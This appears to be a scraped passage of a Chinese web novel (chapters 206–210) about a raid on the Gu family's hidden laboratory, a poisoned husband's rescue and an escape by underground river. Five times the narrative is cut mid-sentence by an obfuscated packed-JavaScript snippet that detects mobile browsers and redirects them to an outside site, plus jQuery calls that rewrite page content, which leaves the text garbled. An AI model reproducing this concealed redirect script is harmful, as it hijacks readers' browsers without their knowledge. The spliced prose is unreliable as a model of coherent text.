刚一挺直腰背想证明自己没事,就牵扯到酸痛的肌肉,忍不住“嘶”地吸了口凉气,身子晃了晃。 杜仁绍手疾眼快地扶住她,“你看你!还逞强!” 李梵娘靠在他臂弯里,缓过那阵酸劲儿,抬眼看他。 他低着头,眼里的担忧和自责几乎要溢出来。 她心里那点气恼忽然就散了,只剩下些酸软。 她叹了口气,声音软了下来:“真没事儿…抹了药好多了。就是有点酸,不碍事。” “晚上行动又不用我冲锋陷阵,我在后面看着,指点你们就行。顾家那密室非同小可,我必须去。” 她顿了顿,声音更轻了些,“…你放心,我有分寸。不会拿自己身子开玩笑。” 第二百零六章 埋伏 杜仁绍看着她的样子,知道拗不过她。 他了解她,平时看着温和,可一旦认定的事,九头牛都拉不回来,尤其是在这种关乎正事和人命的事情上。 他沉默了好一会儿,重重叹了口气,像是认命了,扶着她坐稳,手虚虚地护在她腰后。 “那…晚上你跟紧我,别离远了,有什么不对,立刻说,咱们就撤,听见没?” “嗯。”李梵娘点点头。 两人一时无话,车厢里气氛有些微妙,空气都带着暖昧。 杜仁绍眼神时不时瞟过她纤细的腰肢,又赶紧移开,不自觉的吞了口唾沫。 李梵娘则假装看着窗外,脸上的红晕却久久未退。 就在这时,马车停了下来,外面传来王猛的声音:“国公爷,夫人,客栈到了。” 王猛脸上没什么表情,但眼神飞快地在自家国公爷和夫人之间扫了一圈。 国公爷一脸心虚加担忧,夫人脸颊绯红… 再联想到早上夫人那走路都不利索的样子… 王猛嘴角控制不住地抽搐了一下,赶紧低下头。 “人手器械都已点齐,弟兄们都在候着了。您看是先用饭,还是先…” 他话没说完,自己先憋不住,“噗”一声笑了。 虽然立刻被他用咳嗽声掩盖过去,但那抖动的肩膀还是出卖了他。 杜仁绍脸一黑,没好气地瞪他一眼:“笑什么笑!滚去安排饭食!清淡点!” “是!是!” 王猛赶紧绷住脸,一溜烟跑了,那背影怎么看都带着点落荒而逃的意味。 李梵娘脸上更烫了,恨不得找个地缝钻进去。 杜仁绍也是尴尬得不行,干咳两声,扶着她下车:“…别理那浑人!走,慢点…” 子时整,正是一行人行动的最好的时辰。 沁芳园的围墙外,一行人黑衣蒙面,只露一双眼睛。 杜仁绍一身利落劲装,腰上挂着剑,目光扫过围墙。 李梵娘站在他身侧,同样一身便于行动的装束。 她手里拿着那个黑色“钥匙”。 王猛和沈追一左一右,身后是精选出来的玄甲军和皇城司好手。 “夫人,如何?”杜仁绍压低声音问。 【宿主大大,围墙东南角巡逻队刚过,有三分二十八秒空档。墙高两丈三,应该能翻过去。】 “东南角,三分空档,安全可过。” 杜仁绍一点头,打了个手势。 两人立刻抛出飞爪,悄无声息地钩住墙头。 片刻后从墙头打出“安全”的手势。 杜仁绍看向李梵娘,眼神询问。 李梵娘深吸一口气,点点头。杜仁绍揽住她的腰,低声道:“媳妇儿抓好。” 脚下一点,掠上墙头,轻轻落下。 王猛沈追等人紧随其后,动作干净利落。 墙内是一片茂密的花木,正好提供了掩护。 众人伏低身形,按照李梵娘指引的路线,避开巡逻的路线和明哨暗岗,快速向竹林方向行动。 夜晚的沁芳园静得可怕,只有风吹过竹叶的沙沙声和远处传来的更梆声。 空气中弥漫着浓郁的花香和泥土味儿,隐隐透着一丝药草和**物的味道。 李梵娘眉头微蹙,低声对杜仁绍道:“空气里有微毒,慢性麻痹神经的,长时间吸入会反应迟钝。让大家含住这个。” 她从空间里取了一些薄荷味的药丸分发给众人。 杜仁绍眼神一冷,顾家果然处处是陷阱。 有李梵娘这个“人形雷达”指路,一行人走的异常顺利,很快便接近了那片幽深的竹林。 一进竹林,光线顿时昏暗下来,月光被竹叶切割得支离破碎,地上铺着落叶,踩上去软绵绵的,几乎发不出声音。 那股古怪的味道在这里更加明显。 “就在前面,那几块假山石。”李梵娘压低声音,指着前方的几块大石头。 众人悄无声息地围过去。 那几块假山石与周围竹林融为一体,但仔细看,确实与其他太湖石不同,颜色更深。 李梵娘拿出那黑色“钥匙”,靠近其中一块中心处有凹槽的石头。 钥匙一靠近,那凹槽隐隐产生了吸力。 “系统,分析机关结构,寻找开启顺序和手法。” 【左三右一,按压,左旋两圈,再…】 李梵娘按照系统指引, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444691|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指在那岩石表面几个特定点或按或旋,动作轻柔而精准。 杜仁绍和王猛等人紧张地护卫在四周。 “咔哒…嘎吱…” 机括声响起,那块假山石竟然缓缓向一侧移动,露出一个仅容一人通过的洞口。 一股带着陈腐和药味的空气从洞中飘出来。 成了! 众人心中一喜。 然而,就在此时! 异变陡生! “咻咻咻——!” 破空声从四面八方袭来。 “小心!埋伏!”杜仁绍一把将李梵娘拉到自己身后,手中长刀瞬间出鞘。 “叮叮当当!”密集的金属撞击声响起,是无数淬了毒的细小钢针。 几乎同时,竹林中人影憧憧,数十名黑衣蒙面的死士扑过来,手里的刀剑指着众人。 更有人抬手掷出几个黑乎乎的药罐,炸开散发着腥臭。 “结阵!迎敌!”王猛吼了一声,玄甲军结成圆,将李梵娘护在中心。 李梵娘被杜仁绍死死护在身后,视线受阻,只能听到耳边兵刃交击声。 她正要让系统扫描毒雾成分时,却听到杜仁绍一声闷哼。 “仁绍!”她扭头看去。 只见杜仁绍右肩胛骨下面,有一支乌黑短小的**箭。 箭杆还在颤动,伤口处流出的血是暗紫色,迅速浸湿了他的衣衫。 杜仁绍脸白了一下,但左手的长刀不敢停歇,反手一刀劈翻一个趁机扑上来的死士。 “别管我!守住阵型!” 但他挥刀的动作明显停滞了一瞬,额角渗出冷汗。 李梵娘只觉得一股凉意爬上脊背,她扑到杜仁绍身后,声音因为紧张有些颤抖。 “王猛!沈追!顶住!给我一点时间!” “夫人放心!”王猛目眦欲裂,发了疯一样挥着手里的刀,死死挡住涌过来的敌人。 沈追也指挥**手射击,压制暗处的偷袭。 玄甲军阵型收缩得更紧,用身体铸成一道墙,将主帅和夫人护在中心。 李梵娘强迫自己冷静下来,飞快地检查伤口。 箭矢入肉比较深,毒蔓延的速度很快。 第二百零七章 密室 “系统,扫描一下箭上的毒。” 【混合型神经毒素与血液毒素,快速破坏神经系统和凝血功能,宿主大大,要用的东西和血清都放到空间里了。】 “忍着点!”李梵娘对杜仁绍喊了一声,手里多了一支注射器,看准他颈部静脉,一针扎了进去,快速推进去。 杜仁绍身体一僵,但没有动弹,依旧挥刀挡着射来的暗器,将后背完全交给了她。 李梵娘又取出另一支注射器,再次静脉注射。 同时,她拿出消**水倒在伤口周围,另一只手已经握住了一把手术刀。 “箭杆有毒,必须立刻取出清创!没有麻药,你忍着!”她的声音异常冷静。 “动手!”杜仁绍咬紧牙关,从齿缝里挤出两个字,左刀劈人的动作更快,仿佛要将剧痛发泄在敌人身上。 李梵娘眼神一凝,手起刀落,迅速切开箭镞周围的皮肉。 杜仁绍闷哼一声,身体颤抖了一下,握刀的手背青筋暴起,却硬是没挪动分毫。 李梵娘用特制镊子夹住箭镞,猛地一拔。 带出一股紫黑色的毒血,她立刻用大量消**水冲洗伤口,挤出毒血,然后迅速撒上强效解毒粉和止血生肌粉,用绷带包扎好。 整个过程不过十几秒。 李梵娘最后打结时,手心里全是冷汗,指尖都在发抖。 杜仁绍肩背的紧绷放松了一些,虽然脸色依旧苍白,但伤口的紫黑色好在停止了蔓延。 “毒暂时控制住了,但必须尽快彻底清毒和休息!”李梵娘急促的说着,声音有些颤抖。 “…够了!”杜仁绍深吸一口气。 他猛地转身,目光扫过混乱的战局。 “王猛!沈追!别缠斗!开路!进密室!”他和几人说着,声音有些沙哑。 “得令!”王猛应了一声,攻势变得更加狂暴,就像绞肉机一样在前进。 沈追指挥**手集中射一点,压制敌方火力。 玄甲军阵型从固守转为突击,硬生生在死士的包围圈撕开一道口子,向着那已经开启的密室入口冲过去。 李梵娘紧紧在杜仁绍身侧,一手扶着他没受伤的左臂,另一只手把系统兑换的**、**往外丢,干扰追兵。 终于,一行人猛地冲入了那个通道。 “断后!关门!”杜仁绍最后冲进去,对守在入口处的王猛喊到。 王猛猛地掷出几颗震天雷,巨大的**声和气浪暂时阻断了追兵,他用力推着那假山石门。 “嘎吱——轰!” 石门合拢,将外面的喊杀声和毒雾暂时隔绝在外。 通道内瞬间陷入一片黑暗,只剩下众人的喘息声和血腥味。 黑暗中,火折子被点亮,照亮了这条仅容两人并行的石阶。 空气潮湿阴冷,弥漫着霉味、药味和若有若无的血腥气。 “点灯!警戒!检查伤势!”杜仁绍靠在石壁上,忍着痛和几人吩咐。 手下点燃更多火把,分出人手前后警戒,医官则迅速为受伤的人处理伤口。 幸好除了杜仁绍,其他人多是皮外伤。 李梵娘凑到杜仁绍身边,借着火光检查他的伤口。 绷带已经被鲜血浸透,但颜色已经转为鲜红色,看来解毒剂起了作用。 但她依旧依旧紧锁:“毒素只是暂时抑制住,伤口太深,必须尽快缝合和进一步清毒。” “这下面不知道还有什么,你不能再用左手发力了!” 杜仁绍点点头,“我知道。放心,暂时死不了。” 他看向幽深的阶梯,眼神冰冷,“顾家在这下面藏的东西,比我的命重要。” 稍事休整后,一行人再次前进。 杜仁绍坚持走在最前面,李梵娘紧随其后,手搭在他未受伤的左臂,随时准备扶他,同时也让系统扫描前方的情况。 石阶向下,走了约莫一炷香时间,前面的出现一道厚重的石门,门上刻着繁复的符文,与那黑色“钥匙”上的图案如出一辙。 “是这里了。”李梵娘拿出那黑色“钥匙”,再次借助系统扫描,找到了门上的机关锁孔。 插入旋转,按照特定的顺序拨动内部的机括。 “咔哒…咔哒…嘎啦啦——” 一阵机括声响后,石门向内侧打开。 门后的景象,让见多识广的杜仁绍和李梵娘,以及身后的众人,都倒吸了一口凉气。 眼前是显然是将山腹掏空改造而成的石厅,厅内灯火通明,景象骇人。 一侧是密密麻麻、高到顶壁的书架,上面堆满了各种卷宗、古籍、线装书,许多纸张都已发黄脆裂。 另一侧,则是各种奇形怪状的玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444692|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃器皿、铜炉、丹灶。 器皿中浸泡着各种难以名状的器官组织甚至…完整的胎儿标本。 还有一些笼里关着一些奄奄一息的奇异动物,时不时发出哀鸣。 远处还有几个药柜和矿石架,分门别类放着无数珍稀甚至剧毒的药材和矿物。 而在大厅中央,是一个巨大的石台,台上刻满了诡异的沟槽和符文,沟槽中残留着暗红色的、已经干涸的痕迹,散发出浓重的血腥味。 石台周围散落着一些镣铐和锁链… 人体实验? “畜生!”王猛忍不住低声骂了一句,眼里满是怒气。 连沈追历来没什么情绪的人,脸色也变得很难看。 李梵娘胃里一阵翻腾,强忍着恶心,目光快速扫过那些书架和实验记录。 “系统!” 【宿主大大,书多为前朝禁术医典、毒经、鬼谷门秘传邪法、以及顾家记录的实验日志】实 【有什么疫病的、精神控制的、人体改造,那边那堆残留物有人血。】 杜仁绍捂住伤口,走到最近的书架,随手抽了一本翻开。 上面详细记录着用活人试验某种瘟疫毒株的效果,字里行间都是实验的兴奋。 “这都还是人吗?”他咬牙切齿,“顾家,死一百遍都不能赎罪。” “这里!”李梵娘在中央的石台边发现了一个紧锁的铁柜,锁孔奇特。 “系统,这个能开吗?” 【需要特定钥匙…等等……】系统操控李梵娘手中的黑色钥匙发出微光,对准锁孔。 “咔。”铁柜门开了。 里面不是金银,是账本和密信,以及几枚刻着“云山亭”图案的令牌。 李梵娘拿起最上面的账本翻开,里面记录着巨额的资金往来,牵扯到江南数十家商行、钱庄,甚至…几位朝中大员的名字。 密信则是与鬼谷门,乃至境外某些势力的。 而最底下压着一份名单,“云山亭”在江南及周边地区的核心成员及合作者名单。 “找到了!”李梵娘有些激动,“这才是真正能打倒他们的东西。” 杜仁绍接过名单,目光扫过那些熟悉或陌生的名字,眼里的杀意几乎化为实质:“好!好一个‘云山亭’!这次,我看你们往哪里逃!” 就在这时…… 第二百零八章 抓住 “咔嚓…轰隆!!” 一声巨响突然从他们来的方向传来,紧接着是剧烈的震动和石块掉落的声音。 “不好!”沈追脸色一变,“入口被炸塌了!” 几乎同时,大厅另一侧原本看着是墙的地方,突然滑开一道暗门。 十几个眼神空洞、动作却异常迅捷的身影扑了过来。 他们手里拿着刀,身上散发着浓烈的药味和死气。 为首的,赫然是顾兆安。 他脸上带着怨毒的笑,“杜仁绍!李梵娘!你们既然进来了,就别想活着出去!给我杀了他们!” “结阵!保护国公爷和夫人!” 王猛拿着刀率先迎了上去。 沈追也立刻指挥**手射击,但那些死士似乎对他们的攻击毫无反应,**箭射进身体也只是让他们稍稍一顿,便继续扑来。 杜仁绍眼神一厉,强忍肩上的疼,左手握紧长刀就要上前,却被李梵娘死死拉住。 “你的伤不能再用劲儿了!”李梵娘的声音都在发颤。 “系统,帮我扫描一下这些死士的弱点,他们用了什么药?” 【扫描中……】 【宿主大大啊,是亢奋剂和痛觉阻断剂,弱点在头部和颈椎,而且他们的血液可能也有毒。】 “攻击头部和脖子!”李梵娘立刻朝王猛他们大喊。 同时从空间抓出几包强效麻痹粉和腐蚀性药粉,看准时机猛地撒向冲在最前面的几个死士。 “嗤嗤!”药粉沾身,立刻冒起白烟,死士的动作明显一滞,发出不似人的吼叫声,但依旧不怕死地冲过来。 杜仁绍被李梵娘拉着后退,虽然心里焦急的不行,但也知道她是对的。 他左手拿刀格开劈来的刀剑,却不敢再大幅度的劈和砍,一时间被逼得连连后退。 王猛和玄甲军拼死抵抗。 这些死士力气大,招式又诡异,往往以伤换命,难缠的不得了。 顾兆安站在后面,脸上带着得意,“没用的!这些都是我用秘药精心培育的‘药人’!他们根本不知道疼痛,力大无穷!” “你们今天都得死在这里,给我上!杀了杜仁绍!活捉李梵娘!” 听到“活捉李梵娘”,杜仁绍眼中爆发出强烈的杀意。 他猛地一推李梵娘,将她推向相对安全的角落:“躲好!” 说完,他竟不顾肩伤,拿着刀主动冲向死士最密集的地方。 杜仁绍所过之处,竟硬生生将一个死士的脑袋劈飞半边儿,血溅了他一身。 “国公爷!”王猛看到他不顾伤势冲出来有些着急。 “别管我!杀光他们!”杜仁绍伤口有些崩裂,鲜血瞬间染红了他半边身子,但他仿佛感觉不到疼痛,眼中只有杀意。 李梵娘看得心惊胆战,她知道杜仁绍是在拼命。 她强迫自己冷静,大脑飞速运转:“系统,给我拿高强度镇静剂,肌肉松弛剂,要能瞬间起效的那种。” 【高强度麻醉**已经就位,但是目标移动太快,难以精准命中颈部或头部。】 “给我!” 李梵娘手中瞬间多了一支小巧的吹管和几枚细小的箭矢。 她深吸一口气,目光锁定一个正扑向一名受伤军士的死士,鼓足气儿猛地一吹。 “咻!” 一道破空声响起,箭矢精钉在那死士的颈侧。 那死士身体猛地一僵,动作瞬间变得迟缓扭曲,随即轰然倒地,抽搐着不再动弹。 有效! 李梵娘精神一振,再次装填箭矢瞄准下一个目标。 但她毕竟没有受过什么正规训练,**需要时间,而死士的移动速度又快得惊人。 战况依旧惨烈。 杜仁绍浑身是血,刀挥的虎虎生风,伤口不断被牵动,脸色越来越白,动作也开始慢了下来。 王猛和沈追身上也添了多处伤口,玄甲军死伤近半。 顾兆安脸上的笑容越发得意,“垂死挣扎!我看你们能撑到几时!” 就在这时,李梵娘猛地注意到顾兆安腰间挂着一个奇特的金属小壶,一根细管连接到他手腕内侧,他好像时不时会悄悄按压一下那小壶。 “系统!扫描那个壶!” 【扫描完成,那玩意儿是高浓度**与控制剂混合液,是他维持这些‘药人’的活动,把那壶砸烂有效。】 有了! 李梵娘眼中寒光一闪,再次装填**,这次她瞄准的是顾兆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455205|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安。 或者说,是他腰间那个小壶。 然而,顾兆安十分狡猾,一直躲在死士后面,距离较远,而且有遮挡。 “王猛,沈追,帮我制造机会,瞄准顾兆安腰间的壶。”李梵娘赶紧和他们几个说自己的想法。 王猛和沈追闻言,立刻明白了她要做什么。 王猛不顾自身安危,猛地向前进攻,强行吸引了大量火力。 沈追则指挥剩余**手,集中**箭射顾兆安所在区域。 顾兆安被**箭逼得连连闪躲,身形暴露了一瞬。 就是现在! 李梵娘猛地一吹。 “咻——噗!” 箭矢射在了顾兆安腰间那个金属小壶。 壶应声破裂,里面的液体溅了他一身。 “啊!我的药!”顾兆安惨叫一声。 几乎同时,那些正在疯狂攻击的死士们动作齐齐一滞,就像是断了线的木偶,眼里的空洞迅速被痛苦和迷茫取代。 随即一个接一个地瘫在地上,剧烈地抽搐、呕吐,很快便没了声息。 失去了药物供应,他们透支的生命也走到了尽头。 战场形势瞬间逆转。 “杀了他!”杜仁绍指着顾兆安。 王猛和沈追两人直直扑向顾兆安。 顾兆安眼见最大的依仗没了,吓得转身就想往那暗门里逃。 “哪里走!”王猛速度更快,一刀劈过去,顾兆安慌忙闪躲,却被沈追从侧面一脚踹翻在地。 数把钢刀架在了他的脖子上。 “捆了!”杜仁绍冷声道,身体晃了一下,差点栽倒。 “仁绍!”李梵娘惊呼着冲过去扶住他,看着他的脸色和不断渗血的伤口,眼泪差点掉下来。 “快!坐下!必须立刻重新包扎!” 杜仁绍靠着她,深吸一口气,摇摇头:“…先离开这鬼地方…出口…” 解决了顾兆安和药人,石厅内暂时是安全的,但危机并没有完全解除。 入口被炸塌,烟尘还没有散尽,外面还有顾家的人守着。 他们被困在了密室里。 “快!检查四周!找其他出口!”杜仁绍强撑着下令,声音有些虚弱。 第二百零九章 地下暗河 手下立刻分散开来,敲墙的敲墙,剩下的检查那些书架后面。 李梵娘则强行按着杜仁绍坐下,小心剪开他被血浸透的绷带。 伤口狰狞,皮肉外翻,还有些渗血。 她心疼得手都在抖,只能强迫自己冷静,用生理盐水和消毒水仔细冲洗,撒上最好的金疮药和解毒生肌粉,再用干净的绷带重新包扎好。 “必须尽快出去,你需要静养和进一步治疗!”李梵娘语气焦急。 杜仁绍握住她冰凉的手,低声道:“别怕…一定能找到路…” 这时,沈追那边有了发现:“国公爷!夫人!快来!这药柜后面有蹊跷!” 众人立刻围过去。 只见靠墙的药柜似乎与墙壁有些缝隙。 几人合力推动药柜,药柜竟然能移动,后面露出了一个仅容一人通过的狭窄洞口。 一股水汽和腥风从洞内吹出来。 “是通道!”王猛惊喜道。 “系统,扫描一下。” 【扫描中…宿主哇,这儿通一条地下暗河,那暗河水流挺急的,有出口通往外界,但通道里可能有机关。】 “有出口。” 众人精神一振。 “走!”杜仁绍在李梵娘和王猛的搀扶下站起身。 “那他呢?”王猛指着面如死灰的顾兆安。 “带上!”杜仁绍冷声道,“他是重要人证。” 留下两名军士负责断后和尽可能收集更多书面证据,其余人依次进入狭窄的通道。 李梵娘扶着杜仁绍走在中间,王猛押着顾兆安在前,沈追断后。 通道内阴暗潮湿,石壁上布满青苔。 果然像系统所说,途中触发了几处机关,有落石、**,但在系统预警和李梵娘的指点下,都有惊无险地避过了。 走了约莫一炷香时间,前方传来哗哗的水声,空气也变得清新了些。 通道尽头是一条地下暗河。 河水漆黑,深不见底,水流有些湍急。 河对面石壁上,隐约可见一个不大的出口,透进些许微光。 “有光!是出口!”众人欣喜若狂。 但怎么过河? 河水冰冷刺骨,还不知道深浅,受伤的杜仁绍和众人根本没有办法渡河。 “找找看有没有船或者绳索!”杜仁绍道。 众人分头在河边寻找。 很快,在角落一个凹陷处,发现了两条用油布盖着的简陋皮筏子和几支木桨。 显然是顾家给他们自己留的逃生通道。 “天助我也!”王猛大喜,立刻带人将皮筏子推入水中。 众人迅速分批登上皮筏子。 李梵娘小心扶着杜仁绍坐上筏子,自己紧挨着他坐下,观察他的脸色。 王猛押着顾兆安上了另一条。 沈追带着两名手下负责划桨和警戒。 皮筏子顺着湍急的水流,快速向那透光的出口漂去。 临近出口时,才发现那是一个隐藏在垂藤后面的天然石窟口,外面连着一条较小的河流。 就在皮筏子即将冲出石窟的瞬间。 “后面有动静!”断后的士兵突然喊出声。 众人回头,只见河道后方,隐约有火光和人声传来。 顾家的追兵竟然追上来了,甚至能听到弓弦拉动的声音。 “快划!”杜仁绍有些着急。 两支皮筏子猛地加速,冲出了石窟。 外面已是黎明时分,天色微亮。 他们出现在一条偏僻的河道上,两侧是茂密的芦苇荡。 “嗖嗖嗖!”几支箭矢从后方石窟中射出来,落在水里。 “不能让他们跟出来!”杜仁绍眼神一狠,“沈追!炸掉洞口!” “是!”沈追立刻从随身携带的背囊里取出最后几颗震天雷,估算好距离扔到石窟入口。 “轰!!!隆!!!” 碎石横飞,水柱冲天。 那石窟入口在剧烈的**中轰然坍塌,彻底被堵死。 将追兵和密室,永远封在了山腹之中。 巨大的冲击波让皮筏子剧烈摇晃,差点翻覆。 李梵娘紧紧抱住杜仁绍,溅起的水花打湿了全身。 良久,水面才恢复平静。 身后只剩下一堆乱石,再没有动静。 成功了! 他们逃出来了! “顺着水流往下漂,找个隐蔽处上岸。”杜仁绍虚弱地吩咐道,失血过多和疲惫让他几乎睁不开眼。 李梵娘让他靠在自己怀里,感受着他微弱的呼吸,心紧紧揪着。 她抬头看向渐亮的天空,又看向王猛和沈追小心翼翼护着的那个账本名单。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455206|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在证据拿到了。 皮筏子顺着河水漂流,终于在一处荒芜的河滩靠岸。 众人互相搀扶着,狼狈的上了岸,急需找一个安全的地方休整。 然而还没等他们喘口气,芦苇荡中突然传来一阵急促的脚步声和**上弦的声音。 一个冷厉的声音响起,“什么人?!擅闯军事禁地!放下武器,束手就擒!” 芦苇荡中脚步声急促,弓弦绷紧的声音令人头皮发麻,不知有多少张**正对准了他们这群不速之客。 王猛和沈追立刻强打精神,把护杜仁绍和李梵娘身后,但动作明显迟缓,人人带伤,已是强**之末。 “我们是…”王猛刚想亮明身份,却被杜仁绍用眼神制止。 情况不明,贸然暴露身份未必是好事。 杜仁绍强撑着想要站直身体,肩伤却猛地一阵剧痛,眼前发黑,身体晃了晃,一口黑血喷了出来。 “仁绍!”李梵娘吓了一跳,一把抱住他软倒的身体。 触手一片滚烫,他肩头的绷带再次被鲜血浸透,而那血的颜色…竟又隐隐泛起了紫。 “放下武器!否则放箭了!”那边的声音带着警惕。 “别放箭!我们不是敌人!这里有重伤员!需要立刻救治!”李梵娘急得声音都变了调,也顾不得许多。 同时手忙脚乱地扶着杜仁绍躺平在河滩上。 杜仁绍意识已经开始模糊,浑身冰冷,只觉得生命在快速流逝。 他艰难地睁开眼,看到李梵娘惨白的脸,嘴唇哆嗦着,想说什么,却发不出清晰的声音。 那边的脚步声逼近了一些,几个穿着地方驻军号衣的士兵小心拨开芦苇丛,看到他们这群人伤痕累累的惨状。 尤其是中间那个气息奄奄、明显中了剧毒的男人,戒备心稍减,但依旧没有放下**。 “你们是什么人?怎么会在这里?还伤成这样?”一个看着像校尉的人皱眉问道。 王猛赶紧上前亮出玄甲军的腰牌和杜仁绍的令牌:“兄弟,京城办差,遭遇匪徒,误入此地。” “我家大人中了剧毒,急需救治,还请行个方便,立刻给我们找个安静的地方,再请个大夫来!” 那校尉验看令牌,脸色微变,知道来头极大,不敢怠慢,立刻挥手让手下放下**箭:“快!帮忙抬人!去营地医帐!” 第二百一十章 遗言 兵士们上前帮忙。 李梵娘赶忙阻止,“别动他!乱动会加速毒血攻心!给我找副担架!快!” 那校尉愣了一下,竟下意识地照做了:“快!去找担架和军医来!” 担架很快找来,众人小心地将杜仁绍抬上去。 李梵娘寸步不离地跟着,手一直搭在他的腕脉上,脸色越来越白。 被匆匆抬进附近军营的医帐,闲杂人等都清了出去,只留下王猛沈追和那名校尉。 李梵娘立刻打开自己的药箱,取出银针、药瓶、手术器械。 杜仁绍的情况急剧恶化,牙关紧咬,面色青紫,呼吸微弱,身体时而冰冷时而滚烫。 “都出去!守在门口,不许任何人打扰!”李梵娘头也不回地命令,声音冷得像冰。 王猛等人不敢多言,立刻退到帐外,将帐篷守得严严实实。 帐内,李梵娘剪开杜仁绍的衣衫,看到他肩头那可怕的伤口和蔓延的毒纹,眼泪终于忍不住掉了下来。 她立刻狠狠擦掉,哭什么哭,自己可不能变寡妇! “系统,帮我扫描出来最佳急救方案,该用的东西都给我拿出来吧。” 【宿主大大,毒素正在侵蚀心脉,需要立刻进行透析,顺便给他打抗毒血清和强心剂,东西都准备好了。】 李梵娘手法很快,银针封住杜仁绍心脉周围大穴。 同时将特制的软管,接在他手臂血管,另一端连接到一个冒着药气的铜盆里。 另一只手则为他注射血清和强心剂。 李梵娘全神贯注,额角冷汗涔涔。 也许是强心剂的作用,杜仁绍竟然缓缓睁开了眼睛,视线涣散,似乎看到了李梵娘,又似乎透过她看到了别的什么。 他嘴唇翕动,发出断断续续的声音:“梵…梵娘…” “我在!你别说话!撑住!”李梵娘急忙接话,手下不停。 “…我…我怕是不成了…”杜仁绍眼神空洞,声音气若游丝,“对不住…又…又让你担惊受怕…” “胡说八道!你死不了!我不准你死!”李梵娘鼻子一酸,打断他接着往下说,手下动作更快。 杜仁绍仿佛没听见,自顾自地喃喃道:“…以后…春儿…玉萝…交给你了…找个…找个可靠的人…嫁了…别…别委屈自己…” 李梵娘的手猛地一抖,银针差点扎偏,她难以置信地抬头看他。 杜仁绍眼里满是不舍和痛苦。 “…可是…我一想到…你要嫁给别人…我心里…就跟刀剜一样…难受…” 说到这里咳嗽起来,嘴角又溢出一丝黑血。 “杜仁绍!”李梵娘气得浑身发抖,又心疼得厉害,都什么时候了。 这混蛋脑子里还在想这些混账话。 “…我真…舍不得…”他声音越来越低,眼神渐渐失去焦距,仿佛真的要撒手人寰。 看着他这副交代遗言还乱吃飞醋的死样子,李梵娘积压了一整夜的恐惧、愤怒、委屈和心疼爆发了。 她猛地俯下身,对准他完好的另一边肩膀,狠狠地咬了一口。 “嗯!”杜仁绍痛得闷哼一声,涣散的眼神都聚焦了一瞬,愣愣地看着她。 李梵娘抬起头,嘴唇沾着他的血,眼睛红得像兔子,恶狠狠地瞪着他。 “你想得美,杜仁绍我告诉你,你要是敢死,我明天就带着春儿改嫁。” “找个比你年轻比你俊俏比你听话的,天天在你坟头气死你,你听见没有?你不准死!给我活过来!” 她一边骂,一边不停的给他打解毒剂。。 杜仁绍被她咬懵了,呆呆地看着她凶悍又脆弱的样子,那濒死的感觉仿佛都被骂退了几分… 也许是李梵娘那拼尽全力的救治起了作用,也许是那一口和骂真的把杜仁绍从鬼门关吼了回来。 天亮时分,他的情况终于稳定了下来。 毒素被控制住,伤口重新清理缝合,虽然依旧虚弱昏迷,但脉搏和呼吸都平稳了许多。 李梵娘几乎脱力,瘫坐在床边上,累得连手指头都不想动。 系统也提示能量她过度,想让她去休息,但是李梵娘还是不太放心。 王猛和沈追轻手轻脚地进来,看到杜仁绍稳定下来,都松了口气,对李梵娘更是敬佩感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455207|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激得五体投地。 “夫人,您去歇会儿吧,这儿我们守着。”王猛小声道。 